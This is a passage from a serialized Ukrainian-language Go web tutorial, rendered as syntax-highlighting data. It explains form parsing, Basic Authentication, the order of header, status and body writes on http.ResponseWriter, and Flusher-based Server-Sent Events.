interests)\n}\n",[5236,19200,19201,19232,19237,19260,19280,19284,19289,19314,19341,19345,19349,19353,19358,19383,19387,19392,19415,19419,19456],{"__ignoreMap":5472},[5557,19202,19203,19205,19208,19210,19212,19214,19216,19218,19220,19222,19224,19226,19228,19230],{"class":5559,"line":5560},[5557,19204,5634],{"class":5563},[5557,19206,19207],{"class":5637}," formHandler",[5557,19209,5673],{"class":5585},[5557,19211,8909],{"class":5654},[5557,19213,8912],{"class":5567},[5557,19215,5268],{"class":5585},[5557,19217,8917],{"class":5567},[5557,19219,5305],{"class":5585},[5557,19221,8922],{"class":5654},[5557,19223,8925],{"class":5585},[5557,19225,8928],{"class":5567},[5557,19227,5268],{"class":5585},[5557,19229,8933],{"class":5567},[5557,19231,5949],{"class":5585},[5557,19233,19234],{"class":5559,"line":5571},[5557,19235,19236],{"class":5647},"    \u002F\u002F Автоматичний парсинг форми\n",[5557,19238,19239,19242,19244,19246,19248,19250,19252,19255,19257],{"class":5559,"line":5578},[5557,19240,19241],{"class":5654},"    username",[5557,19243,5663],{"class":5585},[5557,19245,8922],{"class":5654},[5557,19247,5268],{"class":5585},[5557,19249,19034],{"class":5637},[5557,19251,5673],{"class":5585},[5557,19253,19254],{"class":5592},"\"username\"",[5557,19256,10276],{"class":5585},[5557,19258,19259],{"class":5647},"\u002F\u002F Викликає ParseForm автоматично\n",[5557,19261,19262,19265,19267,19269,19271,19273,19275,19278],{"class":5559,"line":5589},[5557,19263,19264],{"class":5654},"    password",[5557,19266,5663],{"class":5585},[5557,19268,8922],{"class":5654},[5557,19270,5268],{"class":5585},[5557,19272,19034],{"class":5637},[5557,19274,5673],{"class":5585},[5557,19276,19277],{"class":5592},"\"password\"",[5557,19279,5623],{"class":5585},[5557,19281,19282],{"class":5559,"line":5596},[5557,19283,5575],{"emptyLinePlaceholder":5574},[5557,19285,19286],{"class":5559,"line":5602},[5557,19287,19288],{"class":5647},"    \u002F\u002F Або ручний парсинг із обробкою помилок\n",[5557,19290,19291,19293,19295,19297,19299,19301,19303,19306,19308,19310,19312],{"class":5559,"line":5608},[5557,19292,5689],{"class":5581},[5557,19294,5692],{"class":5654},[5557,19296,5663],{"class":5585},[5557,19298,8922],{"class":5654},[5557,19300,5268],{"class":5585},[5557,19302,18966],{"class":5637},[5557,19304,19305],{"class":5585},"(); ",[5557,19307,5660],{"class":5654},[5557,19309,5695],{"class":5585},[5557,19311,5698],{"class":5563},[5557,19313,5701],{"class":5585},[5557,19315,19316,19318,19320,19322,19324,19326,19328,19331,19333,19335,19337,19339],{"class":5559,"line":5614},[5557,19317,9300],{"class":5654},[5557,19319,5268],{"class":5585},[5557,19321,9267],{"class":5637},[5557,19323,5673],{"class":5585},[5557,19325,8909],{"class":5654},[5557,19327,5305],{"class":5585},[5557,19329,19330],{"class":5592},"\"Failed to parse form\"",[5557,19332,5305],{"class":5585},[5557,19334,8928],{"class":5654},[5557,19336,5268],{"class":5585},[5557,19338,13902],{"class":5654},[5557,19340,5623],{"class":5585},[5557,19342,19343],{"class":5559,"line":5620},[5557,19344,6076],{"class":5581},[5557,19346,19347],{"class":5559,"line":5626},[5557,19348,5735],{"class":5585},[5557,19350,19351],{"class":5559,"line":5631},[5557,19352,5575],{"emptyLinePlaceholder":5574},[5557,19354,19355],{"class":5559,"line":5644},[5557,19356,19357],{"class":5647},"    \u002F\u002F Доступ до розібраних даних\n",[5557,19359,19360,19363,19365,19367,19369,19372,19374,19376,19378,19381],{"class":5559,"line":5651},[5557,19361,19362],{"class":5654},"    email",[5557,19364,5663],{"class":5585},[5557,19366,8922],{"class":5654},[5557,19368,5268],{"class":5585},[5557,19370,19371],{"class":5654},"Form",[5557,19373,5268],{"class":5585},[5557,19375,10977],{"class":5637},[5557,19377,5673],{"class":5585},[5557,19379,19380],{"class":5592},"\"email\"",[5557,19382,5623],{"class":5585},[5557,19384,19385],{"class":5559,"line":5686},[5557,19386,10877],{"class":5585},[5557,19388,19389],{"class":5559,"line":5704},[5557,19390,19391],{"class":5647},"    \u002F\u002F Отримання множинних значень (checkbox)\n",[5557,19393,19394,19397,19399,19401,19403,19405,19407,19410,19412],{"class":5559,"line":5732},[5557,19395,19396],{"class":5654},"    interests",[5557,19398,5663],{"class":5585},[5557,19400,8922],{"class":5654},[5557,19402,5268],{"class":5585},[5557,19404,19371],{"class":5654},[5557,19406,6192],{"class":5585},[5557,19408,19409],{"class":5592},"\"interests\"",[5557,19411,17324],{"class":5585},[5557,19413,19414],{"class":5647},"\u002F\u002F []string{\"coding\", \"music\", \"sports\"}\n",[5557,19416,19417],{"class":5559,"line":5738},[5557,19418,5575],{"emptyLinePlaceholder":5574},[5557,19420,19421,19423,19425,19427,19429,19431,19433,19436,19438,19441,19443,19445,19447,19449,19451,19454],{"class":5559,"line":5755},[5557,19422,5763],{"class":5654},[5557,19424,5268],{"class":5585},[5557,19426,9146],{"class":5637},[5557,19428,5673],{"class":5585},[5557,19430,8909],{"class":5654},[5557,19432,5305],{"class":5585},[5557,19434,19435],{"class":5592},"\"User: ",[5557,19437,6238],{"class":5654},[5557,19439,19440],{"class":5592},", Interests: ",[5557,19442,5720],{"class":5654},[5557,19444,5723],{"class":5592},[5557,19446,5305],{"class":5585},[5557,19448,19133],{"class":5654},[5557,19450,5305],{"class":5585},[5557,19452,19453],{"class":5654},"interests",[5557,19455,5623],{"class":5585},[5557,19457,19458],{"class":5559,"line":5760},[5557,19459,5922],{"class":5585},[5348,19461,19462],{},[5205,19463,19464],{},"Приклад Basic Authentication:",[5464,19466,19468],{"className":5550,"code":19467,"language":5553,"meta":5472,"style":5472},"func protectedHandler(w http.ResponseWriter, r *http.Request) {\n    username, password, ok := r.BasicAuth()\n    if !ok {\n        \u002F\u002F Запит автентифікації\n        w.Header().Set(\"WWW-Authenticate\", `Basic realm=\"Restricted Area\"`)\n        http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n        return\n    }\n\n    \u002F\u002F Перевірка облікових даних\n    if username != \"admin\" || password != \"secret\" {\n        http.Error(w, \"Forbidden\", http.StatusForbidden)\n        return\n    }\n\n    fmt.Fprintf(w, \"Вітаємо, %s!\", username)\n}\n",[5236,19469,19470,19501,19523,19533,19538,19562,19589,19593,19597,19601,19606,19629,19657,19661,19665,19669,19697],{"__ignoreMap":5472},[5557,19471,19472,19474,19477,19479,19481,19483,19485,19487,19489,19491,19493,19495,19497,19499],{"class":5559,"line":5560},[5557,19473,5634],{"class":5563},[5557,19475,19476],{"class":5637}," protectedHandler",[5557,19478,5673],{"class":5585},[5557,19480,8909],{"class":5654},[5557,19482,8912],{"class":5567},[5557,19484,5268],{"class":5585},[5557,19486,8917],{"class":5567},[5557,19488,5305],{"class":5585},[5557,19490,8922],{"class":5654},[5557,19492,8925],{"class":5585},[5557,19494,8928],{"class":5567},[5557,19496,5268],{"class":5585},[5557,19498,8933],{"class":5567},[5557,19500,5949],{"class":5585},[5557,19502,19503,19505,19507,19509,19511,19513,19515,19517,19519,19521],{"class":5559,"line":5571},[5557,19504,19241],{"class":5654},[5557,19506,5305],{"class":5585},[5557,19508,19138],{"class":5654},[5557,19510,5305],{"class":5585},[5557,19512,19145],{"class":5654},[5557,19514,5663],{"class":5585},[5557,19516,8922],{"class":5654},[5557,19518,5268],{"class":5585},[5557,19520,19127],{"class":5637},[5557,19522,5752],{"class":5585},[5557,19524,19525,19527,19529,19531],{"class":5559,"line":5578},[5557,19526,5689],{"class":5581},[5557,19528,9365],{"class":5585},[5557,19530,19145],{"class":5654},[5557,19532,5701],{"class":5585},[5557,19534,19535],{"class":5559,"line":5589},[5557,19536,19537],{"class":5647},"        \u002F\u002F Запит автентифікації\n",[5557,19539,19540,19542,19544,19546,19548,19550,19552,19555,19557,19560],{"class":5559,"line":5596},[5557,19541,11000],{"class":5654},[5557,19543,5268],{"class":5585},[5557,19545,10972],{"class":5637},[5557,19547,11043],{"class":5585},[5557,19549,11046],{"class":5637},[5557,19551,5673],{"class":5585},[5557,19553,19554],{"class":5592},"\"WWW-Authenticate\"",[5557,19556,5305],{"class":5585},[5557,19558,19559],{"class":5592},"`Basic realm=\"Restricted Area\"`",[5557,19561,5623],{"class":5585},[5557,19563,19564,19566,19568,19570,19572,19574,19576,19579,19581,19583,19585,19587],{"class":5559,"line":5602},[5557,19565,9300],{"class":5654},[5557,19567,5268],{"class":5585},[5557,19569,9267],{"class":5637},[5557,19571,5673],{"class":5585},[5557,19573,8909],{"class":5654},[5557,19575,5305],{"class":5585},[5557,19577,19578],{"class":5592},"\"Unauthorized\"",[5557,19580,5305],{"class":5585},[5557,19582,8928],{"class":5654},[5557,19584,5268],{"class":5585},[5557,19586,9285],{"class":5654},[5557,19588,5623],{"class":5585},[5557,19590,19591],{"class":5559,"line":5608},[5557,19592,6076],{"class":5581},[5557,19594,19595],{"class":5559,"line":5614},[5557,19596,5735],{"class":5585},[5557,19598,19599],{"class":5559,"line":5620},[5557,19600,5575],{"emptyLinePlaceholder":5574},[5557,19602,19603],{"class":5559,"line":5626},[5557,19604,19605],{"class":5647},"    \u002F\u002F Перевірка облікових даних\n",[5557,19607,19608,19610,19613,19615,19618,19620,19622,19624,19627],{"class":5559,"line":5631},[5557,19609,5689],{"class":5581},[5557,19611,19612],{"class":5654}," username",[5557,19614,5695],{"class":5585},[5557,19616,19617],{"class":5592},"\"admin\"",[5557,19619,6363],{"class":5585},[5557,19621,19138],{"class":5654},[5557,19623,5695],{"class":5585},[5557,19625,19626],{"class":5592},"\"secret\"",[5557,19628,5701],{"class":5585},[5557,19630,19631,19633,19635,19637,19639,19641,19643,19646,19648,19650,19652,19655],{"class":5559,"line":5644},[5557,19632,9300],{"class":5654},[5557,19634,5268],{"class":5585},[5557,19636,9267],{"class":5637},[5557,19638,5673],{"class":5585},[5557,19640,8909],{"class":5654},[5557,19642,5305],{"class":5585},[5557,19644,19645],{"class":5592},"\"Forbidden\"",[5557,19647,5305],{"class":5585},[5557,19649,8928],{"class":5654},[5557,19651,5268],{"class":5585},[5557,19653,19654],{"class":5654},"StatusForbidden",[5557,19656,5623],{"class":5585},[5557,19658,19659],{"class":5559,"line":5651},[5557,19660,6076],{"class":5581},[5557,19662,19663],{"class":5559,"line":5686},[5557,19664,5735],{"class":5585},[5557,19666,19667],{"class":5559,"line":5704},[5557,19668,5575],{"emptyLinePlaceholder":5574},[5557,19670,19671,19673,19675,19677,19679,19681,19683,19686,19688,19691,19693,19695],{"class":5559,"line":5732},[5557,19672,5763],{"class":5654},[5557,19674,5268],{"class":5585},[5557,19676,9146],{"class":5637},[5557,19678,5673],{"class":5585},[5557,19680,8909],{"class":5654},[5557,19682,5305],{"class":5585},[5557,19684,19685],{"class":5592},"\"Вітаємо, ",[5557,19687,6238],{"class":5654},[5557,19689,19690],{"class":5592},"!\"",[5557,19692,5305],{"class":5585},[5557,19694,19133],{"class":5654},[5557,19696,5623],{"class":5585},[5557,19698,19699],{"class":5559,"line":5738},[5557,19700,5922],{"class":5585},[7167,19702,19704,19705,19708],{"id":19703},"інтерфейс-httpresponsewriter-формування-відповіді","Інтерфейс ",[5236,19706,19707],{},"http.ResponseWriter",": формування відповіді",[5348,19710,19711,19713],{},[5236,19712,8917],{}," — це інтерфейс для запису HTTP-відповіді. Він приховує складність буферизації, стиснення та керування з'єднанням.",[5464,19715,19717],{"className":5550,"code":19716,"language":5553,"meta":5472,"style":5472},"type ResponseWriter interface {\n    \u002F\u002F Header повертає карту заголовків відповіді\n    \u002F\u002F Важливо: заголовки треба встановити ДО виклику Write або WriteHeader\n    Header() Header\n\n    \u002F\u002F Write записує дані у тіло відповіді\n    \u002F\u002F Першим викликом Write автоматично відправляє статус-код 200 OK\n    Write([]byte) (int, error)\n\n    \u002F\u002F WriteHeader встановлює HTTP статус-код\n    \u002F\u002F Має викликатися ДО першого Write\n    \u002F\u002F Повторні виклики ігноруються\n    WriteHeader(statusCode int)\n}\n",[5236,19718,19719,19729,19734,19739,19748,19752,19757,19762,19781,19785,19790,19795,19800,19813],{"__ignoreMap":5472},[5557,19720,19721,19723,19725,19727],{"class":5559,"line":5560},[5557,19722,11991],{"class":5563},[5557,19724,12174],{"class":5567},[5557,19726,12160],{"class":5563},[5557,19728,5701],{"class":5585},[5557,19730,19731],{"class":5559,"line":5571},[5557,19732,19733],{"class":5647},"    \u002F\u002F Header повертає карту заголовків відповіді\n",[5557,19735,19736],{"class":5559,"line":5578},[5557,19737,19738],{"class":5647},"    \u002F\u002F Важливо: заголовки треба встановити ДО виклику Write або WriteHeader\n",[5557,19740,19741,19743,19745],{"class":5559,"line":5589},[5557,19742,16678],{"class":5637},[5557,19744,8953],{"class":5585},[5557,19746,19747],{"class":5567},"Header\n",[5557,19749,19750],{"class":5559,"line":5596},[5557,19751,5575],{"emptyLinePlaceholder":5574},[5557,19753,19754],{"class":5559,"line":5602},[5557,19755,19756],{"class":5647},"    \u002F\u002F Write записує дані у тіло відповіді\n",[5557,19758,19759],{"class":5559,"line":5608},[5557,19760,19761],{"class":5647},"    \u002F\u002F Першим викликом Write автоматично відправляє статус-код 200 OK\n",[5557,19763,19764,19767,19769,19771,19773,19775,19777,19779],{"class":5559,"line":5614},[5557,19765,19766],{"class":5637},"    Write",[5557,19768,6954],{"class":5585},[5557,19770,6957],{"class":5567},[5557,19772,12054],{"class":5585},[5557,19774,6686],{"class":5567},[5557,19776,5305],{"class":5585},[5557,19778,12061],{"class":5567},[5557,19780,5623],{"class":5585},[5557,19782,19783],{"class":5559,"line":5620},[5557,19784,5575],{"emptyLinePlaceholder":5574},[5557,19786,19787],{"class":5559,"line":5626},[5557,19788,19789],{"class":5647},"    \u002F\u002F WriteHeader встановлює HTTP статус-код\n",[5557,19791,19792],{"class":5559,"line":5631},[5557,19793,19794],{"class":5647},"    \u002F\u002F Має викликатися ДО першого Write\n",[5557,19796,19797],{"class":5559,"line":5644},[5557,19798,19799],{"class":5647},"    \u002F\u002F Повторні виклики ігноруються\n",[5557,19801,19802,19805,19807,19809,19811],{"class":5559,"line":5651},[5557,19803,19804],{"class":5637},"    WriteHeader",[5557,19806,5673],{"class":5585},[5557,19808,6647],{"class":5654},[5557,19810,6650],{"class":5567},[5557,19812,5623],{"class":5585},[5557,19814,19815],{"class":5559,"line":5686},[5557,19816,5922],{"class":5585},[7759,19818,19820],{"id":19819},"порядок-операцій-критично-важливо","Порядок операцій (критично важливо!)",[5464,19822,19824],{"className":5550,"code":19823,"language":5553,"meta":5472,"style":5472},"func correctOrder(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F 1. Спочатку встановлюємо заголовки\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    w.Header().Set(\"X-Request-ID\", \"abc-123\")\n    \n    \u002F\u002F 2. Потім статус-код (опціонально, за замовчуванням 200)\n    w.WriteHeader(http.StatusCreated) \u002F\u002F 201\n    \n    \u002F\u002F 3. Нарешті записуємо тіло\n    w.Write([]byte(`{\"status\": \"created\"}`))\n}\n\nfunc wrongOrder(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F ❌ ПОМИЛКА: пишемо тіло першим\n    w.Write([]byte(\"Hello\"))\n    \n    \u002F\u002F ❌ ЦЕ НЕ СПРАЦЮЄ: заголовки вже відправлені!\n    w.Header().Set(\"Content-Type\", \"text\u002Fplain\")\n    \n    \u002F\u002F ❌ ЦЕ ТЕЖ НЕ СПРАЦЮЄ: статус-код вже встановлено (200)\n    w.WriteHeader(http.StatusCreated)\n}\n",[5236,19825,19826,19857,19862,19884,19907,19911,19916,19937,19941,19946,19965,19969,19973,20004,20009,20028,20032,20037,20059,20063,20068,20086],{"__ignoreMap":5472},[5557,19827,19828,19830,19833,19835,19837,19839,19841,19843,19845,19847,19849,19851,19853,19855],{"class":5559,"line":5560},[5557,19829,5634],{"class":5563},[5557,19831,19832],{"class":5637}," correctOrder",[5557,19834,5673],{"class":5585},[5557,19836,8909],{"class":5654},[5557,19838,8912],{"class":5567},[5557,19840,5268],{"class":5585},[5557,19842,8917],{"class":5567},[5557,19844,5305],{"class":5585},[5557,19846,8922],{"class":5654},[5557,19848,8925],{"class":5585},[5557,19850,8928],{"class":5567},[5557,19852,5268],{"class":5585},[5557,19854,8933],{"class":5567},[5557,19856,5949],{"class":5585},[5557,19858,19859],{"class":5559,"line":5571},[5557,19860,19861],{"class":5647},"    \u002F\u002F 1. Спочатку встановлюємо заголовки\n",[5557,19863,19864,19866,19868,19870,19872,19874,19876,19878,19880,19882],{"class":5559,"line":5578},[5557,19865,9121],{"class":5654},[5557,19867,5268],{"class":5585},[5557,19869,10972],{"class":5637},[5557,19871,11043],{"class":5585},[5557,19873,11046],{"class":5637},[5557,19875,5673],{"class":5585},[5557,19877,11098],{"class":5592},[5557,19879,5305],{"class":5585},[5557,19881,6555],{"class":5592},[5557,19883,5623],{"class":5585},[5557,19885,19886,19888,19890,19892,19894,19896,19898,19900,19902,19905],{"class":5559,"line":5589},[5557,19887,9121],{"class":5654},[5557,19889,5268],{"class":5585},[5557,19891,10972],{"class":5637},[5557,19893,11043],{"class":5585},[5557,19895,11046],{"class":5637},[5557,19897,5673],{"class":5585},[5557,19899,17839],{"class":5592},[5557,19901,5305],{"class":5585},[5557,19903,19904],{"class":5592},"\"abc-123\"",[5557,19906,5623],{"class":5585},[5557,19908,19909],{"class":5559,"line":5596},[5557,19910,10877],{"class":5585},[5557,19912,19913],{"class":5559,"line":5602},[5557,19914,19915],{"class":5647},"    \u002F\u002F 2. Потім статус-код (опціонально, за замовчуванням 200)\n",[5557,19917,19918,19920,19922,19924,19926,19928,19930,19932,19934],{"class":5559,"line":5608},[5557,19919,9121],{"class":5654},[5557,19921,5268],{"class":5585},[5557,19923,9126],{"class":5637},[5557,19925,5673],{"class":5585},[5557,19927,8928],{"class":5654},[5557,19929,5268],{"class":5585},[5557,19931,15402],{"class":5654},[5557,19933,10276],{"class":5585},[5557,19935,19936],{"class":5647},"\u002F\u002F 201\n",[5557,19938,19939],{"class":5559,"line":5614},[5557,19940,10877],{"class":5585},[5557,19942,19943],{"class":5559,"line":5620},[5557,19944,19945],{"class":5647},"    \u002F\u002F 3. Нарешті записуємо тіло\n",[5557,19947,19948,19950,19952,19954,19956,19958,19960,19963],{"class":5559,"line":5626},[5557,19949,9121],{"class":5654},[5557,19951,5268],{"class":5585},[5557,19953,6951],{"class":5637},[5557,19955,6954],{"class":5585},[5557,19957,6957],{"class":5567},[5557,19959,5673],{"class":5585},[5557,19961,19962],{"class":5592},"`{\"status\": \"created\"}`",[5557,19964,6878],{"class":5585},[5557,19966,19967],{"class":5559,"line":5631},[5557,19968,5922],{"class":5585},[5557,19970,19971],{"class":5559,"line":5644},[5557,19972,5575],{"emptyLinePlaceholder":5574},[5557,19974,19975,19977,19980,19982,19984,19986,19988,19990,19992,19994,19996,19998,20000,20002],{"class":5559,"line":5651},[5557,19976,5634],{"class":5563},[5557,19978,19979],{"class":5637}," wrongOrder",[5557,19981,5673],{"class":5585},[5557,19983,8909],{"class":5654},[5557,19985,8912],{"class":5567},[5557,19987,5268],{"class":5585},[5557,19989,8917],{"class":5567},[5557,19991,5305],{"class":5585},[5557,19993,8922],{"class":5654},[5557,19995,8925],{"class":5585},[5557,19997,8928],{"class":5567},[5557,19999,5268],{"class":5585},[5557,20001,8933],{"class":5567},[5557,20003,5949],{"class":5585},[5557,20005,20006],{"class":5559,"line":5686},[5557,20007,20008],{"class":5647},"    \u002F\u002F ❌ ПОМИЛКА: пишемо тіло першим\n",[5557,20010,20011,20013,20015,20017,20019,20021,20023,20026],{"class":5559,"line":5704},[5557,20012,9121],{"class":5654},[5557,20014,5268],{"class":5585},[5557,20016,6951],{"class":5637},[5557,20018,6954],{"class":5585},[5557,20020,6957],{"class":5567},[5557,20022,5673],{"class":5585},[5557,20024,20025],{"class":5592},"\"Hello\"",[5557,20027,6878],{"class":5585},[5557,20029,20030],{"class":5559,"line":5732},[5557,20031,10877],{"class":5585},[5557,20033,20034],{"class":5559,"line":5738},[5557,20035,20036],{"class":5647},"    \u002F\u002F ❌ ЦЕ НЕ СПРАЦЮЄ: заголовки вже відправлені!\n",[5557,20038,20039,20041,20043,20045,20047,20049,20051,20053,20055,20057],{"class":5559,"line":5755},[5557,20040,9121],{"class":5654},[5557,20042,5268],{"class":5585},[5557,20044,10972],{"class":5637},[5557,20046,11043],{"class":5585},[5557,20048,11046],{"class":5637},[5557,20050,5673],{"class":5585},[5557,20052,11098],{"class":5592},[5557,20054,5305],{"class":5585},[5557,20056,6157],{"class":5592},[5557,20058,5623],{"class":5585},[5557,20060,20061],{"class":5559,"line":5760},[5557,20062,10877],{"class":5585},[5557,20064,20065],{"class":5559,"line":5778},[5557,20066,20067],{"class":5647},"    \u002F\u002F ❌ ЦЕ ТЕЖ НЕ СПРАЦЮЄ: статус-код вже встановлено (200)\n",[5557,20069,20070,20072,20074,20076,20078,20080,20082,20084],{"class":5559,"line":5794},[5557,20071,9121],{"class":5654},[5557,20073,5268],{"class":5585},[5557,20075,9126],{"class":5637},[5557,20077,5673],{"class":5585},[5557,20079,8928],{"class":5654},[5557,20081,5268],{"class":5585},[5557,20083,15402],{"class":5654},[5557,20085,5623],{"class":5585},[5557,20087,20088],{"class":5559,"line":5799},[5557,20089,5922],{"class":5585},[7098,20091,20092,20095,20096,20099],{},[5205,20093,20094],{},"Чому порядок важливий:"," HTTP-відповідь передається потоком: спочатку стартовий рядок зі статус-кодом, потім заголовки, потім порожній рядок, потім тіло. Після виклику ",[5236,20097,20098],{},"Write()"," Go відправляє заголовки клієнту. Спроба змінити заголовки після цього неможлива — вони вже у мережі!",[7759,20101,20103],{"id":20102},"розширені-інтерфейси-responsewriter","Розширені інтерфейси ResponseWriter",[5348,20105,20106,20107,18777,20109,5226,20112,20115],{},"Go-сервер автоматично додає додаткові можливості до ",[5236,20108,8917],{},[5205,20110,20111],{},"опціональні інтерфейси",[5228,20113,20114],{},"optional interfaces","). Ви можете перевірити їхню наявність через type assertion.",[5348,20117,20118],{},[5205,20119,20120,20121,20124],{},"1. ",[5236,20122,20123],{},"http.Flusher"," — примусове відправлення даних:",[5464,20126,20128],{"className":5550,"code":20127,"language":5553,"meta":5472,"style":5472},"type Flusher interface {\n    Flush()\n}\n",[5236,20129,20130,20141,20148],{"__ignoreMap":5472},[5557,20131,20132,20134,20137,20139],{"class":5559,"line":5560},[5557,20133,11991],{"class":5563},[5557,20135,20136],{"class":5567}," Flusher",[5557,20138,12160],{"class":5563},[5557,20140,5701],{"class":5585},[5557,20142,20143,20146],{"class":5559,"line":5571},[5557,20144,20145],{"class":5637},"    Flush",[5557,20147,5752],{"class":5585},[5557,20149,20150],{"class":5559,"line":5578},[5557,20151,5922],{"class":5585},[5348,20153,20154],{},"Використовується для Server-Sent Events (SSE) або потокового виведення:",[5464,20156,20158],{"className":5550,"code":20157,"language":5553,"meta":5472,"style":5472},"func sseHandler(w http.ResponseWriter, r *http.Request) {\n    w.Header().Set(\"Content-Type\", \"text\u002Fevent-stream\")\n    w.Header().Set(\"Cache-Control\", \"no-cache\")\n    w.Header().Set(\"Connection\", \"keep-alive\")\n\n    flusher, ok := w.(http.Flusher)\n    if !ok {\n        http.Error(w, \"SSE not supported\", http.StatusInternalServerError)\n        return\n    }\n\n    for i := 0; i \u003C 10; i++ {\n        fmt.Fprintf(w, \"data: Message %d\\n\\n\", i)\n        flusher.Flush() \u002F\u002F Примусово відправляємо дані клієнту\n        time.Sleep(1 * time.Second)\n    }\n}\n",[5236,20159,20160,20191,20214,20237,20261,20265,20290,20300,20327,20331,20335,20339,20368,20398,20413,20440,20444],{"__ignoreMap":5472},[5557,20161,20162,20164,20167,20169,20171,20173,20175,20177,20179,20181,20183,20185,20187,20189],{"class":5559,"line":5560},[5557,20163,5634],{"class":5563},[5557,20165,20166],{"class":5637}," sseHandler",[5557,20168,5673],{"class":5585},[5557,20170,8909],{"class":5654},[5557,20172,8912],{"class":5567},[5557,20174,5268],{"class":5585},[5557,20176,8917],{"class":5567},[5557,20178,5305],{"class":5585},[5557,20180,8922],{"class":5654},[5557,20182,8925],{"class":5585},[5557,20184,8928],{"class":5567},[5557,20186,5268],{"class":5585},[5557,20188,8933],{"class":5567},[5557,20190,5949],{"class":5585},[5557,20192,20193,20195,20197,20199,20201,20203,20205,20207,20209,20212],{"class":5559,"line":5571},[5557,20194,9121],{"class":5654},[5557,20196,5268],{"class":5585},[5557,20198,10972],{"class":5637},[5557,20200,11043],{"class":5585},[5557,20202,11046],{"class":5637},[5557,20204,5673],{"class":5585},[5557,20206,11098],{"class":5592},[5557,20208,5305],{"class":5585},[5557,20210,20211],{"class":5592},"\"text\u002Fevent-stream\"",[5557,20213,5623],{"class":5585},[5557,20215,20216,20218,20220,20222,20224,20226,20228,20230,20232,20235],{"class":5559,"line":5578},[5557,20217,9121],{"class":5654},[5557,20219,5268],{"class":5585},[5557,20221,10972],{"class":5637},[5557,20223,11043],{"class":5585},[5557,20225,11046],{"class":5637},[5557,20227,5673],{"class":5585},[5557,20229,11074],{"class":5592},[5557,20231,5305],{"class":5585},[5557,20233,20234],{"class":5592},"\"no-cache\"",[5557,20236,5623],{"class":5585},[5557,20238,20239,20241,20243,20245,20247,20249,20251,20254,20256,20259],{"class":5559,"line":5589},[5557,20240,9121],{"class":5654},[5557,20242,5268],{"class":5585},[5557,20244,10972],{"class":5637},[5557,20246,11043],{"class":5585},[5557,20248,11046],{"class":5637},[5557,20250,5673],{"class":5585},[5557,20252,20253],{"class":5592},"\"Connection\"",[5557,20255,5305],{"class":5585},[5557,20257,20258],{"class":5592},"\"keep-alive\"",[5557,20260,5623],{"class":5585},[5557,20262,20263],{"class":5559,"line":5596},[5557,20264,5575],{"emptyLinePlaceholder":5574},[5557,20266,20267,20270,20272,20274,20276,20278,20281,20283,20285,20288],{"class":5559,"line":5602},[5557,20268,20269],{"class":5654},"    flusher",[5557,20271,5305],{"class":5585},[5557,20273,19145],{"class":5654},[5557,20275,5663],{"class":5585},[5557,20277,8909],{"class":5654},[5557,20279,20280],{"class":5585},".(",[5557,20282,8928],{"class":5567},[5557,20284,5268],{"class":5585},[5557,20286,20287],{"class":5567},"Flusher",[5557,20289,5623],{"class":5585},[5557,20291,20292,20294,20296,20298],{"class":5559,"line":5608},[5557,20293,5689],{"class":5581},[5557,20295,9365],{"class":5585},[5557,20297,19145],{"class":5654},[5557,20299,5701],{"class":5585},[5557,20301,20302,20304,20306,20308,20310,20312,20314,20317,20319,20321,20323,20325],{"class":5559,"line":5614},[5557,20303,9300],{"class":5654},[5557,20305,5268],{"class":5585},[5557,20307,9267],{"class":5637},[5557,20309,5673],{"class":5585},[5557,20311,8909],{"class":5654},[5557,20313,5305],{"class":5585},[5557,20315,20316],{"class":5592},"\"SSE not supported\"",[5557,20318,5305],{"class":5585},[5557,20320,8928],{"class":5654},[5557,20322,5268],{"class":5585},[5557,20324,9322],{"class":5654},[5557,20326,5623],{"class":5585},[5557,20328,20329],{"class":5559,"line":5620},[5557,20330,6076],{"class":5581},[5557,20332,20333],{"class":5559,"line":5626},[5557,20334,5735],{"class":5585},[5557,20336,20337],{"class":5559,"line":5631},[5557,20338,5575],{"emptyLinePlaceholder":5574},[5557,20340,20341,20343,20346,20348,20350,20353,20356,20359,20361,20363,20365],{"class":5559,"line":5644},[5557,20342,5802],{"class":5581},[5557,20344,20345],{"class":5654}," i",[5557,20347,5663],{"class":5585},[5557,20349,6195],{"class":6134},[5557,20351,20352],{"class":5585},"; ",[5557,20354,20355],{"class":5654},"i",[5557,20357,20358],{"class":5585}," \u003C ",[5557,20360,18335],{"class":6134},[5557,20362,20352],{"class":5585},[5557,20364,20355],{"class":5654},[5557,20366,20367],{"class":5585},"++ {\n",[5557,20369,20370,20372,20374,20376,20378,20380,20382,20385,20387,20390,20392,20394,20396],{"class":5559,"line":5651},[5557,20371,11530],{"class":5654},[5557,20373,5268],{"class":5585},[5557,20375,9146],{"class":5637},[5557,20377,5673],{"class":5585},[5557,20379,8909],{"class":5654},[5557,20381,5305],{"class":5585},[5557,20383,20384],{"class":5592},"\"data: Message ",[5557,20386,6794],{"class":5654},[5557,20388,20389],{"class":6358},"\\n\\n",[5557,20391,5723],{"class":5592},[5557,20393,5305],{"class":5585},[5557,20395,20355],{"class":5654},[5557,20397,5623],{"class":5585},[5557,20399,20400,20403,20405,20408,20410],{"class":5559,"line":5686},[5557,20401,20402],{"class":5654},"        flusher",[5557,20404,5268],{"class":5585},[5557,20406,20407],{"class":5637},"Flush",[5557,20409,8953],{"class":5585},[5557,20411,20412],{"class":5647},"\u002F\u002F Примусово відправляємо дані клієнту\n",[5557,20414,20415,20418,20420,20423,20425,20427,20430,20433,20435,20438],{"class":5559,"line":5704},[5557,20416,20417],{"class":5654},"        time",[5557,20419,5268],{"class":5585},[5557,20421,20422],{"class":5637},"Sleep",[5557,20424,5673],{"class":5585},[5557,20426,6213],{"class":6134},[5557,20428,20429],{"class":5585}," * ",[5557,20431,20432],{"class":5654},"time",[5557,20434,5268],{"class":5585},[5557,20436,20437],{"class":5654},"Second",[5557,20439,5623],{"class":5585},[5557,20441,20442],{"class":5559,"line":5732},[5557,20443,5735],{"class":5585},[5557,20445,20446],{"class":5559,"line":5738},[5557,20447,5922],{"class":5585},[5348,20449,20450],{},[5205,20451,20452,20453,20456],{},"2. ",[5236,20454,20455],{},"http.Hijacker"," — захоплення з'єднання для WebSocket:",[5464,20458,20460],{"className":5550,"code":20459,"language":5553,"meta":5472,"style":5472},"type Hijacker interface {\n    Hijack() (net.Conn, *bufio.ReadWriter, 